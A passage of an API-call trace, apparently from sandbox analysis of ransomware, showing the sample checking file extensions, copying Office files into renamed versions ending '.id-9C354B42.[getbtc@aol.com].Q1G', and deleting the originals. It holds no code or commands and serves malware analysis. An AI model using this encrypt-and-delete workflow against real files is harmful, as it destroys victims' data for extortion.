Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.209] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.209] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.210] GetLastError () returned 0x0 [0249.210] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0249.211] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0249.212] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.212] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x104, lpOverlapped=0x0) returned 1 [0249.212] SetEndOfFile (hFile=0x360) returned 1 [0249.212] CloseHandle (hObject=0x360) returned 1 [0249.212] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.212] SetEndOfFile (hFile=0x324) returned 1 [0249.214] CloseHandle (hObject=0x324) returned 1 [0249.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 1 [0249.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.215] lstrlenW (lpString=".doc") returned 4 [0249.215] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.215] lstrlenW (lpString=".docx") returned 5 [0249.215] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.215] lstrlenW (lpString=".pdf") returned 4 [0249.215] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.215] lstrlenW (lpString=".xls") returned 4 [0249.216] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.216] lstrlenW (lpString=".xlsx") returned 5 [0249.216] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.216] lstrlenW (lpString=".ppt") returned 4 [0249.216] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.216] lstrlenW (lpString=".zip") returned 4 [0249.216] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.216] lstrlenW (lpString=".rar") returned 4 [0249.216] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.216] lstrlenW (lpString=".bz2") returned 4 [0249.216] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.216] lstrlenW (lpString=".7z") returned 3 [0249.216] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.216] lstrlenW (lpString=".dbf") returned 4 [0249.216] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.216] lstrlenW (lpString=".1cd") returned 4 [0249.216] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.216] lstrlenW (lpString=".jpg") returned 4 [0249.216] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.216] lstrlenW (lpString=".doc") returned 4 [0249.216] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.216] lstrlenW (lpString=".docx") returned 5 [0249.216] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.216] lstrlenW (lpString=".pdf") returned 4 [0249.216] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.216] lstrlenW (lpString=".xls") returned 4 [0249.216] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.216] lstrlenW (lpString=".xlsx") returned 5 [0249.216] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.216] lstrlenW (lpString=".ppt") returned 4 [0249.216] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.217] lstrlenW (lpString=".zip") returned 4 [0249.217] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.217] lstrlenW (lpString=".rar") returned 4 [0249.217] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.217] lstrlenW (lpString=".bz2") returned 4 [0249.217] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.217] lstrlenW (lpString=".7z") returned 3 [0249.217] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.217] lstrlenW (lpString=".dbf") returned 4 [0249.217] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.217] lstrlenW (lpString=".1cd") returned 4 [0249.217] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned 72 [0249.217] lstrlenW (lpString=".jpg") returned 4 [0249.217] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.217] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0249.217] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24 [0249.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.217] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0249.218] CloseHandle (hObject=0x324) returned 1 [0249.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 0x20 [0249.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.218] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.218] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.219] GetLastError () returned 0x0 [0249.219] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0249.222] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0249.223] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.223] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x104, lpOverlapped=0x0) returned 1 [0249.223] SetEndOfFile (hFile=0x360) returned 1 [0249.223] CloseHandle (hObject=0x360) returned 1 [0249.223] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.223] SetEndOfFile (hFile=0x324) returned 1 [0249.225] CloseHandle (hObject=0x324) returned 1 [0249.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 1 [0249.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.226] lstrlenW (lpString=".doc") returned 4 [0249.226] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.226] lstrlenW (lpString=".docx") returned 5 [0249.226] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.226] lstrlenW (lpString=".pdf") returned 4 [0249.226] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.226] lstrlenW (lpString=".xls") returned 4 [0249.226] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.226] lstrlenW (lpString=".xlsx") returned 5 [0249.226] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.226] lstrlenW (lpString=".ppt") returned 4 [0249.226] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.226] lstrlenW (lpString=".zip") returned 4 [0249.226] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.226] lstrlenW (lpString=".rar") returned 4 [0249.226] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.226] lstrlenW (lpString=".bz2") returned 4 [0249.226] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.226] lstrlenW (lpString=".7z") returned 3 [0249.227] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.227] lstrlenW (lpString=".dbf") returned 4 [0249.227] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.227] lstrlenW (lpString=".1cd") returned 4 [0249.227] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.227] lstrlenW (lpString=".jpg") returned 4 [0249.227] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.227] lstrlenW (lpString=".doc") returned 4 [0249.227] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.227] lstrlenW (lpString=".docx") returned 5 [0249.227] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.227] lstrlenW (lpString=".pdf") returned 4 [0249.227] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.227] lstrlenW (lpString=".xls") returned 4 [0249.227] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0249.227] lstrlenW (lpString=".xlsx") returned 5 [0249.227] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0249.227] lstrlenW (lpString=".ppt") returned 4 [0249.227] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.227] lstrlenW (lpString=".zip") returned 4 [0249.227] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0249.227] lstrlenW (lpString=".rar") returned 4 [0249.227] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0249.227] lstrlenW (lpString=".bz2") returned 4 [0249.227] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0249.227] lstrlenW (lpString=".7z") returned 3 [0249.227] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.227] lstrlenW (lpString=".dbf") returned 4 [0249.227] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0249.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.228] lstrlenW (lpString=".1cd") returned 4 [0249.228] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0249.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned 72 [0249.228] lstrlenW (lpString=".jpg") returned 4 [0249.228] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0249.228] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0249.228] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16 [0249.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.228] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=636) returned 1 [0249.228] CloseHandle (hObject=0x324) returned 1 [0249.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 0x20 [0249.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.229] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.229] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.229] GetLastError () returned 0x0 [0249.229] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x27c, lpOverlapped=0x0) returned 1 [0249.261] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x280, lpOverlapped=0x0) returned 1 [0249.262] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.262] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0249.262] SetEndOfFile (hFile=0x360) returned 1 [0249.495] CloseHandle (hObject=0x360) returned 1 [0249.497] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.497] SetEndOfFile (hFile=0x324) returned 1 [0249.499] CloseHandle (hObject=0x324) returned 1 [0249.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 1 [0249.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.500] lstrlenW (lpString=".doc") returned 4 [0249.500] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0249.500] lstrlenW (lpString=".docx") returned 5 [0249.500] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0249.500] lstrlenW (lpString=".pdf") returned 4 [0249.500] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0249.500] lstrlenW (lpString=".xls") returned 4 [0249.500] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0249.500] lstrlenW (lpString=".xlsx") returned 5 [0249.500] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0249.500] lstrlenW (lpString=".ppt") returned 4 [0249.500] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0249.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.500] lstrlenW (lpString=".zip") returned 4 [0249.500] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0249.500] lstrlenW (lpString=".rar") returned 4 [0249.500] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0249.500] lstrlenW (lpString=".bz2") returned 4 [0249.500] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0249.500] lstrlenW (lpString=".7z") returned 3 [0249.500] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0249.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.500] lstrlenW (lpString=".dbf") returned 4 [0249.500] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0249.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.500] lstrlenW (lpString=".1cd") returned 4 [0249.501] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.501] lstrlenW (lpString=".jpg") returned 4 [0249.501] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.501] lstrlenW (lpString=".doc") returned 4 [0249.501] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0249.501] lstrlenW (lpString=".docx") returned 5 [0249.501] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0249.501] lstrlenW (lpString=".pdf") returned 4 [0249.501] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0249.501] lstrlenW (lpString=".xls") returned 4 [0249.501] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0249.501] lstrlenW (lpString=".xlsx") returned 5 [0249.501] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0249.501] lstrlenW (lpString=".ppt") returned 4 [0249.501] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.501] lstrlenW (lpString=".zip") returned 4 [0249.501] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0249.501] lstrlenW (lpString=".rar") returned 4 [0249.501] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0249.501] lstrlenW (lpString=".bz2") returned 4 [0249.501] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0249.501] lstrlenW (lpString=".7z") returned 3 [0249.501] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.501] lstrlenW (lpString=".dbf") returned 4 [0249.501] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.501] lstrlenW (lpString=".1cd") returned 4 [0249.501] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned 64 [0249.501] lstrlenW (lpString=".jpg") returned 4 [0249.501] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0249.502] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0249.502] lstrlenW (lpString="INVENTRY.VRD") returned 12 [0249.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.502] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=818) returned 1 [0249.502] CloseHandle (hObject=0x324) returned 1 [0249.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 0x20 [0249.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 